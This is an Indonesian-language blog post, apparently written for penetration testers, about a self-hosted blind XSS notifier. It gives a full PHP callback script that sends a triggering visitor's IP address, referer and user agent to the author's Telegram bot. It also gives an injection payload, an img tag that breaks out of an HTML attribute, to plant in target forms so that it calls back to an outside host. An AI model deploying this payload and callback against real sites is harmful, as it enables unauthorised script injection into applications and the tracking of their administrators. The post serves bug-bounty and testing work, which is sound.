xhellc0de
xhellc0de (aku suka Squidward karna warnanya biru)

Telegram Bot Blind XSS Notification

Blind XSS

Blind XSS merupakan salah satu kerentanan yang berpotensi memiliki severity yang tinggi. Dikarenakan sebagian besar Blind XSS terjadi pada backend atau panel suatu aplikasi, dan cenderung berjalan pada privilege yang lebih tinggi dari user biasa, admin misalnya.

Ada banyak sekali situs yang menyediakan layanan untuk Blind XSS, salah satunya XSS Hunter. XSS Hunter sangat ampuh digunakan untuk berburu Blind XSS karena didukung dengan email report yang langsung kita terima bila XSS ter-triger. Dan laporan yang lengkap seperti, URL Referer, Web Page Screenshot, bahkan HTML DOM nya.

Namun apabila kita melakukan pentesting pada perusahaan yang cukup besar, dapatkah kita mempercayakannya pada pihak ketiga?

Berikut ini adalah source code sederhana untuk notifikasi Blind XSS. Dengan menggunakan Bot Telegram, kita akan mendapat notifikasi bila payload ter-triger.

<?php

ob_flush();
header("Content-type:application/json");

function get_client_ip() {
    $ipaddress = '';
    if (isset($_SERVER['HTTP_CLIENT_IP']))
        $ipaddress = $_SERVER['HTTP_CLIENT_IP'];
    else if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
        $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
    else if(isset($_SERVER['HTTP_X_FORWARDED']))
        $ipaddress = $_SERVER['HTTP_X_FORWARDED'];
    else if(isset($_SERVER['HTTP_FORWARDED_FOR']))
        $ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
    else if(isset($_SERVER['HTTP_FORWARDED']))
        $ipaddress = $_SERVER['HTTP_FORWARDED'];
    else if(isset($_SERVER['REMOTE_ADDR']))
        $ipaddress = $_SERVER['REMOTE_ADDR'];
    else
        $ipaddress = 'UNKNOWN';
    return $ipaddress;
}

$ip = get_client_ip();
$ref = @$_SERVER['HTTP_REFERER'];
if(empty($ref)){

$ref = '-';

}

$datenow = date('Y-m-d H:i:s');
$ua = @$_SERVER['HTTP_USER_AGENT'];
if(empty($ua)){

$ua = '-';
}
$message = '
Blind XSS Alert!

IP Address: '.$ip.'
Reff URL: '.$ref.'
Hitted: '.$datenow.'

User Agent: '.$ua.'
';

$message = urlencode($message);
file_get_contents('https://api.telegram.org/bot:{token}/sendMessage?chat_id={id}&text='.$message.'&parse_mode=html');

Setelah source tersebut diupload di server, kita dapat menyisipkannya pada payload XSS, contoh:

"><img src="http://{redacted}/xsspayload.php">

Saat XSS ter-triger, notifikasi akan terkitim ke Telegram kita.

Hana I Love You

Demikian sedikit tips untuk hunting Blind XSS, semoga bermanfaat.

comments powered by Disqus